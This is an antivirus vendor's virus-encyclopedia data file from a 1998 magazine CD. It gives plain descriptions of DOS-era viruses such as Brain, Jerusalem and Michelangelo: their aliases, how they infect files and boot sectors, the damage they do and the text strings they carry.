PC World Komputer 1998 September/PC_World-1998_09-CD2.iso/Pcillw95/disk2/DATA.2/COMMON.VIR

Text File | 1996-11-05 | 485.3 KB | 15,136 lines

[(c)Brain]
Virus Name: (c)Brain
Alias Name: Pakistani, Clone, Nipper
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infectes boot sectors.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 3-7 Kbytes.

This virus moves the boot sector and replaces it
with a copy of the virus. The original boot sector
will be moved to another sector and marked as bad.
This virus will also change the disk label to read

    "(c) Brain".

The following text is located in the virus:

    Welcome to the Dungeon
    (c) 1986 Basit & Amjad (pvt) Ltd.
    BRAIN COMPUTER SERVICES
    730 NIZAB BLOCK ALLAMA IQBAL TOWN
    LAHORE-PAKISTAN
    PHONE :430791,443248,280530.
    Beware of this VIRUS....
    Contact us for vaccination.................
    $#@%$@!!

[555]
Virus Name: 555
Alias Name: Dutch 555, Quit-199
Virus Type: File Virus
VirusLength: 555 bytes
Description: This virus infects *.COM and *.EXE
             files, as well as COMMAND.COM.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 560 bytes.

Once the virus is memory resident, it will infect
*.COM and *.EXE files as they are executed.
Infected files will increase in size by 555 bytes,
with the virus being located at the end of the
infected file. Infected files will have their date
and time records updated to the date and time the
infection occurred.

[AirCop]
Virus Name: AirCop
Alias Name:
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors.

When a system is booted from a disk infected by
the virus,  the virus will install itself memory
resident.  Total system memory will decrease by
1,024 bytes.

Once the virus is memory resident, all unprotected
diskettes accessed will be infected.  The virus
will replace the floppy boot sector with a copy of
itself.

The virus will show the following message on
infected systems:

     "Red State, Germ Offensive.
      AIRCOP."

[Alameda]
Virus Name: Alameda
Alias Name: Alemeda
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors.

When the system is booted from a disk infected by
the virus, the virus will install itself memory
resident.

Once the virus is memory resident, all unprotected
5-1/4" 360k diskettes will be infected when it
activates through a warm boot (CTRL-ALT-DEL). (The
virus suntil remains in memory after a warm boot).

[Ambulance]
Virus Name: Ambulance
Alias Name: Ambulance Car, RedX
Virus Type: File Virus
VirusLength: 796 bytes
Description: This virus infects *.COM files.

When an infected file is executed, the virus will
attempt to infect one *.COM file.

Other symptoms include displaying a moving
ambulance at the bottom of the screen as well as
playing the sound of a siren.

[AntiEXE]
Virus Name: AntiEXE
Alias Name: D3, NewBug, CMOS4
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors.

When the system is booted from a disk infected by
the virus,  the virus will install itself memory
resident.  Total available memory will have
decreased by 1,024 bytes.  The virus will also
overwrite the Master Boot Sector with a copy of
the virus.

Once the virus is memory resident, it will
infect all unprotected diskettes.

[Atomic]
Virus Name: Atomic
Alias Name:
Virus Type: File Virus
VirusLength: 371 bytes
Description: This virus infects *.COM files.

When an infected file is executed, the virus will
infect the first two *.COM files located in the
same directory.  The virus will permanently
overwrite the first 371 bytes of the files it
infects.  Date and time fields of infected files
will not be altered. The virus will show the
following message after infecting a file:

    "Bad command or file name"

The following text string is located in the virus:

    "[TAD1A] Memory Lapse -- Toronto, CANADA"
    "The Atomic Dustbin 1A -- This is just the first
    step"
    "Bad command or file name"
    "*.COM .. c Dustbin 1A -- This is just the first
    step"

[Austr_Parasite]
Virus Name: Austr_Parasite
Alias Name: Aussie Parasite
Virus Type: File Virus
Virus Length: 292 bytes
Description: This virus infects *.COM files as
             well as COMMAND.COM.

When an infected file is executed, the virus will
install itself into memory. Total available memory
will have decreased by 320 bytes.

Once the virus is memory resident, all executing
*.COM files will be infected. Infected files will
increase in size by 292 bytes, with the virus
being located at the end of the infected file.
Date and time records of infected files will not
be altered.

Symptoms include system hang.

The following text string is visible in the virus:

    "Australian Parasite"

[Bljec]
Virus Name: Bljec
Alias Name: Black Jec
Virus Type: File Virus
Virus Length: 231-440 bytes
Description: This virus infects *.COM files.

When an infected file is executed, the virus will
infect 3 *.COM programs in the same directory.
Infected files will increase in size by 231-440
bytes, with the virus being located at the
beginning of the infected file. Infected files
will have their date and time records updated to
the date and time the infection occurred.

Symptoms include system hang.

[Butterfly]
Virus Name: Butterfly
Alias Name: Butterflies
Virus Type: File Virus
Virus Length: 302 bytes
Description: This virus infectes *.COM files.

When an infected file is executed, the virus will
infect all the *.COM files located in the same
directory.

Infected files will increase in size by 302 bytes,
with the virus being located at the end of the
infected file.  Infected files will not have their
date and time records altered.

The following text string is located in the virus:

    "Goddamn Butterflies"
    "*.COM"

[Cascade]
Virus Name: Cascade
Alias Name: Black Jack, Falling
Virus Type: File Virus
Virus Length: 1,701 or 1,704 bytes
Description: This virus infectes *.COM files.

When an infected file is executed, the virus
installs itself into memory.

Once the virus is memory resident, it will cause
the characters on the screen to fall to the bottom
of the screen.

[Connie]
Virus Name: Connie
Alias Name:
Virus Type: File Virus
Virus Length: 1,761 bytes
Description: This virus infectes *.COM  files, as
             well as COMMAND.COM.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 3,520 bytes.

Once the virus is memory resident, it will infect
*.COM files when they are executed, opened, or copied.
Infected files will increase in size by 1,761
bytes, with the virus being located at the end of
the infected file. The date and time information of
infected files will not be altered.

The following text string can be found in the
virus:

    "This is <Connie> Written by Dark Slayer in
    Keelung TAIWAN P:\COMMAND.COM"

[CVirus]
Virus Name: CVirus
Alias Name: Nowhere Man, VMessi
Virus Type: File Virus
Virus Length:
Description: This virus infectes *.COM  and *.EXE
             files which are larger than 6,300
             bytes in size.

When an infected file is executed, the virus will
search for a suitable file to infect (larger than
6,300 bytes in size). Infected files will have the
original first 6,286 bytes overwritten by the
virus. Date and time information of infected files
will not be altered.  Once a file has been
successfully infected, the following message will
be displayed on the screen:

    "Out of memory"

If infection was not possible, the following
message will be displayed:

    "All files infected.  Mission complete."

The following text string can be found in the
virus:

    "NMAN"
    "BMAN"
    "*.EXE"


[DataLock]
Virus Name: DataLock
Alias Name: Datalock.920.A, V920
Virus Type: File Virus
Virus Length: 920 bytes
Description: This virus infects *.COM and *.EXE
             files

Interrupt vectors hooked: INT 21h.

Infection method: When an infected file runs, the
virus loads itself in memory. While loaded, it
infects any file that executes. Infected files
increase by 920 bytes.

Damage: After August 1990, the virus won't allow
files with the extension .?BF to be opened. When
an attempt is made, it displays the erroneous
error message "Too many files open."

[Denzuko]
Virus Name: Denzuko
Alias Name: Den Zuk
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Infection method: When the system attempts to boot
from an infected diskette, the virus loads itself
into memory--even if the boot fails. While loaded,
the virus attempts to infect any accessed
diskette.

Damage: When <Ctrl><Alt><Del> is pressed, the
message "Den Zuk" is displayed and the system seems
to reboot. However, the virus remains in memory.
Because the virus was designed for 360 KB
diskettes, it unintentionally destroys data on 3.5
inch or 1.2 MB diskettes.

[Die_Hard_2]
Virus Name: Die_Hard_2
Alias Name: DH2
Virus Type: File Virus
Virus Length: 4,000 bytes
Description: This virus infects *.COM and *.EXE
             files

Interrupt vectors hooked: INT 21h.

Infection method: When an infected file runs, the
virus loads itself in memory. While loaded, it
infects accessed, executable files. Infected files
increase by 4,000 bytes.

Damage: Under analysis.

[Dir]
Virus Name: Dir
Alias Name: DIR
Virus Type: File Virus
Virus Length: 691 bytes
Description: See Dir-2

[Dir-2]
Virus Name: Dir-2
Alias Name: Dir-II, Creeping Death
Virus Type: File Virus
Virus Length: 1,024 bytes
Description: This virus infects *.COM and *.EXE
             files

PC Vectors Hooked: None

Executing Procedure:
1) When the virus loads itself resident in memory
   it will change the directory structure data so
   that certain executable files are linked to
   itself.
2) This makes it so that when you execute a file
   that the DIR2-910 virus has linked to, it also
   is executed.  At this point it can begin to
   infect other files.
3) The virus stays resident in memory but doesn't
   hook any interrupts. It uses another function
   to infect files . It infects .COM &.EXE files
   when they are "READ & WRITE".

Damage: When all the .COM & .EXE files been
infected on a disk, it will not be possible
to execute any files from the disk.

Detecting Method: Check the disk by using
"CHKDSK.EXE", if some files are cross-linked
to the same position, then these files must be
infected.

Note: DIR2-910 doesn't hook INT 24h when infecting
files. It omits I/O errors (such as write
protect).

[Disk_Killer]
Virus Name: Disk_Killer
Alias Name: Ogre
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Infection method: When the system is booted from
an infected disk, the virus loads itself in
memory.

Damage: After the computer has been on for 48
hours, the virus displays the message below and
then encrypts all the data on the hard disk:

"Disk Killer -- Version 1.00 by COMPUTER OGRE
 04/01/1989

 Warning!!
 Don't turn off the power or
 remove the diskette while Disk Killer is Processing.
 Processing.
 Now you can turn off the power. I wish you luck."

[EDV]
Virus Name: EDV
Alias Name: Cursy
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infectes boot sectors.

When the system is booted from a disk infected by
the virus, the virus will install itself into
memory.

Once the virus is memory resident, it will infect
floppy disks on access. It will move the original
boot sector, replacing it with a copy of the virus.

Once the virus has infected six disks, it will
disable the keyboard as well as corrupt all disks
in the system.  Once completed, the following
message will be displayed on the screen:

    "That rings a bell, no?  From Cursy"

The following string can be found in infected boot
sectors:

    "MSDOS Vers. E.D.V."

[Exebug]
Virus Name: Exebug
Alias Name: Swiss Boot, CMOS killer
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Interrupt vectors hooked: INT 13h.

Infection method: When the system is booted from
an Exebug infected diskette, the Exebug virus will
install itself memory resident at the top of
system memory but below the 640K DOS boundary,
moving interrupt 12's return.  Total system and
available free memory will have decreased by 1,024
bytes.  Also at this time, the virus will infect
the system hard disk's master boot sector.

Damage: Master boot sector corruption; decrease in
total system & available free memory; inability to
access drive C: after diskette boot

[Fat_Table]
Virus Name: Fat_Table
Alias Name:
Virus Type: File Virus
Virus Length: 6,540 bytes
Description: This virus infectes *.EXE  files.

When an infected file is executed, the virus will
infect one *.EXE file located in the same
directory.  The virus will overwrite the first
6,540 bytes of the original file. Date and time
information of infected files will be updated to
the time of infection.

The following text string can be found in the
virus:

    "hitohana"
    "karu ba"
    "rb C:\ * .* FAT TABLE E"
    "8RROR"
    "EXE"
    "COM"

[Filler.A]
Virus Name: Filler.A
Alias Name: Filler
Virus Type:   Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Infection method: When the system is booted from
an infected floppy, the virus loads itself in
memory. While loaded, it infects any accessed,
non-protected disks. The DOS CHKDSK program will
show a "total bytes memory" decrease of 8,192
bytes.

Damage: Under analysis.

[Flip]
Virus Name: Flip
Alias Name:
Virus Type:   Boot Virus
Virus Length: 2,672 bytes
Description: This virus infects *.COM and *.EXE
             files

Interrupt Vectors Hooked: INT 21h

Infection Process:
This virus can be spread by executing an infected
program or from booting the system with an
infected disk. There are several methods of
infection.

1) Infection of a clean system by an infected
program.

When an infected program is executed in a clean
system, the virus will copy itself in the last
side of the last cylinder, beginning from the 5th
last sector to the 1st last sector and the virus
will subtract the DOS boot sector at offset 0x13h
(Number of logical sectors )with 6. Finally, virus
writes the virus body to partition sector.

2) Spreading the infection through a disk that has
been infected.

If a PC is booted from an infected disk, the
spreading of the infection is complete.  The boot
code, previously overwritten by the virus on the
disk partition sector, reads the main core of the
virus from the last 5 sectors to the last 1
sector, and loads it as a TSR in RAM, occupying 3
Kb of the higher part of system memory.  As soon
as it is installed as a TSR, the virus takes
control of Int 1Ch (Timer Interrupt) to verify,
with a frequency of 18.2 times per second, if the
DOS COMMAND.COM is loaded.  If DOS is present, the
virus restores the timer and takes control of Int
21h.

Damage: Loss of data stored in the 6th last to 1st
last sectors of the disk. Virus also increases
file sizes.

Symptoms: Virus turns screen display upside down
(rotates 180 degrees). File sizes increase by
2,153 bytes

Note: The virus uses a smart technique to avoid
anti-virus detection programs, when modifying the
partition sector, that is hooking int 01h, it will
turn on a single step flag to get the original
entry of DOS hooked of INT 13h . The virus will
then move itself to the top of the MCB (memory
control block), and decrease available memory in
the MCB by 2672 (A70h) bytes. It will hook Int 21h
with the same method as for INT 13h and then
proceeds to run the original program.

[Form.A]
Virus Name: Form.A
Alias Name: FORM, Form, Form 18, Generic
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Interrupt vectors hooked: INT 13h, INT 09h.

Infection method: When the system is booted from
an infected diskette, the virus infects the DOS
boot sector and loads itself in memory. While
loaded, it infects any accessed, non-protected
disks. The DOS CHKDSK program will indicate
653,312 bytes of free memory.

Damage: On the 18th day of any month, the virus
will emit a clicking sound whenever keys are
pressed. The system may hang when a read error
occurs, and parts of the original boot sector may
be overwritten, making the partition unbootable.

[Friday_13th]
Virus Name: Friday_13th
Alias Name: Friday the 13th, Virus 1813,
            Israelian, Jerusalem
Virus Type: File Virus
Virus Length: approx. 1,813 bytes
Description: This virus infects *.COM and *.EXE
             files

PC Vectors Hooked:  Int 21

Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.

Damage: In the year 1987, the virus does no damage
. It proceeds only to infect other files. Every
Friday the 13th, excluding the year 1987, virus
deletes every executed program . All other days,
excluding the year 1987, the virus spreads.  About
half an hour after the virus is installed in
memory it scrolls up by two lines a small window
with coordinates (5, 5), (16, 16) and slows down
computer speed.  Delay loop repeats 18.5 times per
second.

Detecting Method: Increases the file length by
1813 bytes

Note: Loads itself resident in memory.  An error
message occurs if there is an I/O error (such as
write protect).

[Frodo.Frodo.A]
Virus Name: Frodo.Frodo.A
Alias Name: 4096, IDF, 4096-1, Frodo,
            Frodo.Frodo.A, 100 Year
Virus Type: File Virus
Virus Length: 4,096 bytes
Description: This virus infects *.COM and *.EXE
             files

Interrupt vectors hooked: INT 21h, INT 13h.

Infection method: When an infected file runs, the
virus loads itself in memory. While loaded, it
infects accessed, executable files. The virus
increases the size of infected files by 4096
bytes.

Damage: After September 21, the virus tries to
modify the boot sector to display "FRODO LIVES."
However, the virus code is corrupted, so instead
of modifying the system areas, it crashes the
system.

Note: While the virus is in memory, it hides the
increase in infected file sizes.

[Generic_408]
Virus Name: Generic_408
Alias Name: NYB, B1
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Infection method: When the system is booted from
an infected diskette, the virus infects the master
boot record and loads itself in memory. While
loaded, it infects any accessed, non-protected
disks.

Damage: None known.

[Generic_437]
Virus Name: Generic_437
Alias Name: Boot-437
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

This virus will only infect hard drives when an
attempt to boot from an infected diskette is made.
Once the virus has infected the hard drive, all
non-protected floppies used in the machine will be
infected.

Unlike most other boot sector viruses (except
Form), Boot-437 infects the DOS boot sector on
hard drives instead of the Master Boot Record.

[GreenCat]
Virus Name: GreenCat
Alias Name: Green Caterpillar,
            Green_Caterpillar.1575.A, Find, 1591,
            1575
Virus Type: File Virus
Virus Length: 1,991 to 2,005 bytes
Description: This virus infects *.COM and *.EXE
             files

Interrupt vectors hooked: INT 21h.

Infection method: When an infected file runs, the
virus loads itself in memory.

Damage: After a specified time period has elapsed,
the execution of an infected file causes a green
caterpillar to run across the screen, excreting
the screen contents as it goes. There is no
permanent damage.

[Grog31]
Virus Name: Grog31
Alias Name: Grog 3.1
Virus Type: File Virus
Virus Length: 1,200 bytes
Description: This virus infects *.COM files as
             well as COMMAND.COM.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 4,800 bytes.  The
virus will also infect COMMAND.COM.

Once the virus is memory resident, it will infect
*.COM files that are larger than 2,000 bytes when
they are executed or opened.  Infected files will
increase in size by 1,200 bytes, with the virus
being located at the beginning of the infected
file. Date and time information of infected files
will not be altered.

The following text string can be found in the
virus:

    "GROG 4EVER!"
    "GROG v3.1 (C) '93 by GROG - Italy"
    "Microsoft C:\COMMAND.COM"

[Hacktic2]
Virus Name: Hacktic2
Alias Name:
Virus Type: File Virus
Virus Length: 83 bytes
Description: This virus infects *.COM and *.EXE
             files, including COMMAND.COM.

When an infected file is executed, the virus will
infect one file in the current directory,
truncating the file size to 83 bytes as well as
changing the file to hidden attribute.  The date
and time information of infected files will be
updated to the time of infection.

[Hobbit]
Virus Name: Hobbit
Alias Name:
Virus Type: File Virus
Virus Length: 505 bytes
Description: This virus infects *.EXE files.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 1,440 bytes.

Once the virus is memory resident, it will infect
*.EXE when they are executed or opened.  The virus
will overwrite the first 505 bytes of the file.
Date and time information of infected files will
not be altered.

The following text string can be found in the
virus:

    "HOBIT"

[Jerusalem]
Virus Name: Jerusalem
Alias Name: Israeli, Jerusalem.1808.Standard,
            1808, Israeli, 1813 Jeru-3-3,
            Jerusalem.1808.Critical.
Virus Type: File VIrus
Virus Length: 1,808 to 1,822 bytes
Description: This virus infects *.COM and *.EXE
             files

Interrupt vectors hooked: INT 21h, INT 08h.

Infection method: When an infected file runs, the
virus loads itself in memory. While loaded, it
infects any file that executes, except the
COMMAND.COM file. The virus increases the size of
.EXE files by 1,808-1,822 on the first infection
and 1,808 bytes with each reinfection. Infected
.COM files increase by 1813 bytes.

Damage: On Friday the 13th, after the virus has
been resident 30 minutes, it deletes files that
are executed. On other days, the virus slows down
the system 30 minutes after each infection. It
also wipes out an area of the screen, though
nothing is displayed. A bug in the virus can cause
.EXE file to be infected repeatedly until they
become too large to execute.

[Joshi]
Virus Name: Joshi
Alias Name: Happy Birthday Joshi
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Detecting Method: The first "Joshi" virus was
founded in India in June 1990. It is a very
popular virus in India.  Virus remains resident in
boot sector or in FAT area. Every January 5, the
virus displays: Type Happy Birthday Joshi."  All
will return to normal if user types above message.
System memory decreases by 6KB when virus is
resident.

Note: Loads itself resident in memory. An error
message occurs if there is an I/O error (such as
write protect).

[Jumper]
Virus Name: Jumper
Alias Name: 2kb
Virus Type:   File Virus
Virus Length: 2,048 bytes
Description: This virus infects *.COM and *.EXE
             files and COMMAND.COM

When an infected file is first executed in a clean
system, the virus will load itself into memory.
Total memory will have decreased by 8,336 bytes.
Once the virus is memory resident, it will infect
*.COM and *.EXE files as they are being executed.
Infected files will have a file length increase of
2,048 bytes. The date and time information of
infected files will not be altered.

The following text string is located in infected
programs:

     "BIOS"

[Junkie.A-1]
Virus Name: Junkie.A-1
Alias Name: Junkie
Virus Type: File Virus
Virus Length: N/A
Description: This virus infects *.COM and *.EXE
             files

Interrupt vectors hooked: INT 1Ch, INT 21h.

Infection method: The first time an infected file
runs, the virus overwrites hard disk's master boot
record. When the system is booted again (or when
it is booted from an infected diskette), the virus
loads itself in memory. While loaded, the virus
infects any .COM file that executes and any
accessed diskettes. The DOS CHKDSK program will
show a "total bytes memory" decrease of 3,072
bytes. Infected files increase by just over 1,000
bytes.

Damage: None known.

[K_Hate]
Virus Name: K_Hate
Alias Name: K-Hate
Virus Type: File Virus
Virus Length: 1,237 to 1,304 bytes
Description: This virus infects *.COM files
             including COMMAND.COM.

When an infected file is executed, the virus will
infect all *.COM files in the same directory.
Infected files will experience a file length
increase of 1,237 to 1,304 bytes with the virus
being located at the end of the file.  Date and
time information of infected files will not be
altered.

The following text string can be found in the
virus:

    "CRYPT INFO"
    "KDG 0,5 / Khntark3"
    "*, K-HATE / Khntark*.COM"

[Kampana.A]
Virus Name: Kampana.A
Alias Name: Telecom Boot, Campa, Anti-Tel, Brasil
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Interrupt vectors hooked: INT 13h.

Infection method: When the system is booted from
an infected diskette, the virus loads itself in
memory. While loaded, it infects any accessed
disks. The DOS CHKDSK program will show a "total
bytes memory" decrease of 1,024 bytes.

Damage: After a number of reboots, the virus
overwrites sectors of the hard disk.

Note: If you attempt to examine the master boot
record while the virus is loaded, it will display
the original, uninfected version.

[KeyKapture]
Virus Name: KeyKapture
Alias Name: KeyKap, Hellspawn.1
Virus Type: File Virus
Virus Length: 1,074 bytes
Description: This virus infects *.EXE files by
             creating a hidden *.COM file of the
             same name in the same directory.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 3,072 bytes.

Once the virus is memory resident, it will infect
*.EXE when they are executed by creating a 1,074
byte *.COM file of the same name.  The original
*.EXE file will not be changed in any way.
Infected systems may experience system hangs

The following text string can be found in the
virus:

    "KKV.90 KeyKapture Virus v0.90 [Hellspawn-II]
     (c) 1994 by Stormbringer [PS]"

[MacGyver]
Virus Name: MacGyver
Alias Name:
Virus Type: File Virus
Virus Length: 2,824 bytes
Description: This virus infects *.EXE files

Infection method:  When the infected program is
executed, the MacGyver virus will install itself
memory resident as a low system memory TSR of
3,072 bytes. When the MacGyver virus is memory
resident, it will infect .EXE programs when they
are executed or opened.  The following text string
is visible within the MacGyver viral code in all
infected programs:

    "SCANVIR.SHW"

Damage:  It may cause frequent system hangs when
.EXE programs are executed. Besides, the DOS
CHKDSK program will indicate file allocation
errors on all infected files when the virus is
memory resident.

[Metal_Militia]
Virus Name: Metal_Militia
Alias Name: MMIR, Immortal Riot
Virus Type: File Virus
Virus Length: 282 bytes
Description: This virus infects *.COM  files, as
             well as COMMAND.COM.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 3,072 bytes.

Once the virus is memory resident, it will infect
*.COM when they are executed.  Infected files will
increase in size by 1,054-5 bytes, with the virus
being located at the beginning of the infected
file. Date and time information of infected files
will not be altered.

The following text string can be found in the
virus:

  "Senseless Destruction..."
  "Protecting what we are joining together to take
   on the world.."
  "METAL MiLiTiA [iMMORTAL RIOT] SVW"

[Michelangelo]
Virus Name: Michelangelo
Alias Name:
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects disk boot sectors.

When the system is booted from a disk infected
with the Michelangelo virus, the virus will
install itself into memory. Total available memory
will have decreased by 2,048 bytes.

Once the virus is memory resident, it will infect
diskette boot sectors on access.  The virus will
move the original boot sector and replace it with
a copy of the virus.

This virus activates on March 6.  It will format
the hard disk, overwriting all existing data.

[Monkey]
Virus Name: Monkey
Alias Name: Stoned.Empire.Monkey.B, Monkey 2
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Infection method: When the system is booted with
an infected diskette, the virus loads itself in
memory. While loaded, it infects any accessed,
non-protected disks. The DOS CHKDSK program will
show a "total bytes memory" decrease of 1,024
bytes. Monkey-1 is one of the few viruses that can
successfully infect floppies while Microsoft
Windows is running.

Damage: The virus encrypts the partition table of
the master boot record. If you attempt to boot
from a clean floppy, the disk will be inaccessible
because the partition table has been moved.

Note: If you attempt to examine the master boot
record while the virus is in memory, it will
display the original, uninfected version.

Caution: Do not use FDISK /MBR to clean this
virus.

[MSWord_Concept]
Virus Name: MSWord_Concept
Alias Name:
Virus Type: File Virus
Virus Length:
Description: This virus infects MSWORD documents.

When an infected document is opened, the virus
goes resident by adding some macros to your WORD
environment.

Once the virus is active, all documents saved
using the "Save As..." command will be infected.

Symptoms include only being able to save files to
the template directory.

[Mummy]
Virus Name: Mummy
Alias Name:
Virus Type: File Virus
Virus Length: 1,300 - 1,503 bytes
Description: This virus infects *.EXE files

Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.

Damage: This virus has several variants. While
some variants have no damage routine, some will
slow down the system performance and variants of
the Mummy virus will have a Random Number counter.
When the counter reaches zero, virus will
overwrite first part of hard disk and cause severe
data loss.

Detecting Method: Increases infected file size by
1,300-1,503 bytes. Virus occasionally hangs the
system when the virus is resident in memory.
Encrypted text strings inside the virus code as
follows:

    "Mummy Version x.xxx",
    "Kaohsiung Senior School",
    "Tzeng Jau Ming presents",
    "Series Number=[xxxxx]."

Note: 1) Loads itself resident in memory. An error
message occurs if there is an I/O error (such as
write protect).

[Natas]
Virus Name: Natas
Alias Name: Satan, Sat_Bug.Natas, Natas-4, Natas-6
Virus Type: File Virus
Virus Length: 4,746 bytes
Description: This virus infects *.COM and *.EXE
             files

Interrupt vectors hooked: INT 13h, INT 21h.

Infection method: When the system is booted with
an infected disk, the virus loads itself in memory
and infects the master boot record. While loaded,
it infects any accessed executable files or
diskettes. Total system memory decreases by 5,664
bytes. Infected files increase in length by 4,744
bytes.

Damage: The virus formats the hard disk and
destroys data stored on diskettes.

[No_of_Beast]
Virus Name: No_of_Beast
Alias Name: No. of the Beast,
Number_of_the_Beast.E, DARTH, 666, 512
Virus Type: File Virus
Virus Length: 512 bytes
Description: This virus infects *.COM files

Interrupt vectors hooked: INT 13h, INT 21h.

Infection method: When an infected file runs, the
virus loads itself in memory. While loaded, it
infects accessed .COM files. The virus overwrites
the first 512 bytes of the files it infects, but
stores the original data in free space at the end
of the file.

Damage: If an infected file is copied, some of its
original data could be destroyed.

Note: If you attempt to examine an infected file
while the virus is in memory, it will display the
original, uninfected version.

[Nop]
Virus Name: Nop
Alias Name: Nops, Stealth_Boot,
Virus Type:
Virus Length:
Description: See Stealth_Boot.C

[Nov_17th]
Virus Name: Nov_17th
Alias Name: November 17th
Virus Type: File virus
Virus Length: 885 bytes
Description: This virus infects *.COM and *.EXE
             files

Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.

Damage: On any day between November 17 and 30, the
virus destroys the first 8 sectors of the current
disk.

Note: Loads itself resident in memory. An error
message occurs if there is an I/O error (such as
write protect).

[One_half]
Virus Name: One_half
Alias Name:
Virus Type: File Virus
Virus Length: 3,544 bytes
Description: This virus infects *.COM and *.EXE
             files as well as COMMAND.COM

Interrupt vectors hooked: INT 21h.

Infection method: When an infected file runs, the
virus loads itself in memory. While loaded, it
infects any accessed, executable files or boot
sectors. The DOS CHKDSK program will show a "total
bytes memory" decrease of 4,096 bytes. Infected
.COM and .EXE files increase by 3,544 bytes.

Damage: Under analysis.

Note: If you attempt to examine the hard drive
while the virus is in memory, it will display the
original, uninfected version.

[Ontario]
Virus Name: Ontario
Alias Name:
Virus Type: File virus
Virus Length: 512 bytes
Description: This virus infects *.COM, *.EXE and
             overlay files, as well as COMMAND.COM.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 2,048 bytes.  The
virus will also infect COMMAND.COM increasing it's
size by 512 bytes.

Once the virus is memory resident, it will infect
files when they are executed.  Infected files will
increase in size by 512 - 1,023 bytes depending on
the type of file.

[Parity_boot.b]
Virus Name: Parity_Boot.B
Alias Name: Parity_BOOT.B, Generic1
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Interrupt vectors hooked: INT 13h.

Infection method: When the system is booted from
an infected diskette, the virus infects the master
boot record and loads itself in memory. While
loaded, it infects all accessed, non-protected
disks. The DOS CHKDSK program will show a "total
bytes memory" decrease of 1,024 bytes.

Damage: The virus sets a one-hour delay timer when
the system is turned on. Each time a floppy is
infected, the timer is reset. If no floppies are
infected, the virus simulates a parity error,
displaying the following message and hanging the
system:

    Parity Check

Note: If you attempt to examine boot sectors while
the virus is in memory, it will display the
original, uninfected version.

[Readiosys]
Virus Name: Readiosys
Alias Name: AntiCMOS, Lenart
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

When the system is booted from an infected hard
disk, the virus loads itself in memory.  After
loading successfully, it infects most accessed
disks.  The DOS CHKDSK program will show a "total
bytes memory" decrease of 2,048 bytes.

This virus may change the CMOS settings, depending
on the system hardware. In many cases, the system
will hang before the virus can finish loading into
memory.

[Ripper]
Virus Name: Ripper
Alias Name: Jack Ripper
Virus Type:   Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Infection method: The virus is loaded in memory
when the system is booted from an infected
diskette. While loaded, the virus infects any
accessed, non-protected disks.

Damage: The virus corrupts the hard disk over time
by randomly selecting disk writes (approximately 1
per 1000) and swapping two words in the write
buffer.

Note: If you attempt to examine the infected boot
sectors while the virus is in memory, it will
display the original, uninfected version.

[Slayer]
Virus Name: Slayer
Alias Name: 5120, Vbasic
Virus Type: File Virus
Virus Length: 5,120 bytes
Description: This virus infects *.COM and *.EXE
             files.

When an infected file is executed, the virus will
infect all *.COM and *.EXE files located in the
same directory.  Infected files will increase in
size from 5,120 to 5,135 bytes with the virus
being located at the end of the file.  Date and
time information of infected files will not be
altered.

[Squisher]
Virus Name: Squisher
Alias Name: Tiny Hunter
Virus Type: File Virus
Virus Length: 340 bytes
Description: This virus infects *.COM  files, as
             well as COMMAND.COM.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will not have changed.

Once the virus is memory resident, it will infect
*.COM which contain more than 340 bytes of hex
'00' characters when they are executed.  Infected
files will not experience an increase in size.
Date and time information of infected files will
not be altered.

[Stealth_Boot.C]
Virus Name: Stealth_Boot.C
Alias Name: Amse, Nops, STELBOO, STB
Virus Type:  Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Interrupt vectors hooked: INT 13h.

Infection method: When the system is booted from
an infected diskette, the virus loads itself in
memory and infects the master boot record.  While
loaded, it infects any accessed, non-protected
diskettes.  The DOS CHKDSK program will show a
"total bytes memory" decrease of 4,000 bytes.

Damage: No intentional damage.

Note: If you attempt to examine the infected hard
disk sectors while the virus is in memory, it will
return a zero-filled buffer.

[Stoned]
Virus Name: Stoned
Alias Name: Marijuana, New Zealand,
            Stoned.Standard.A
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Interrupt vectors hooked: INT 13h.

Infection method: When the system is booted from
an infected floppy, the virus loads itself in
memory and infects the hard disk.  While loaded,
it infects any accessed diskettes.  The DOS CHKDSK
program will show a "total bytes memory" decrease
of 2,048 bytes.

Damage: No intentional damage. Displays the text
string:

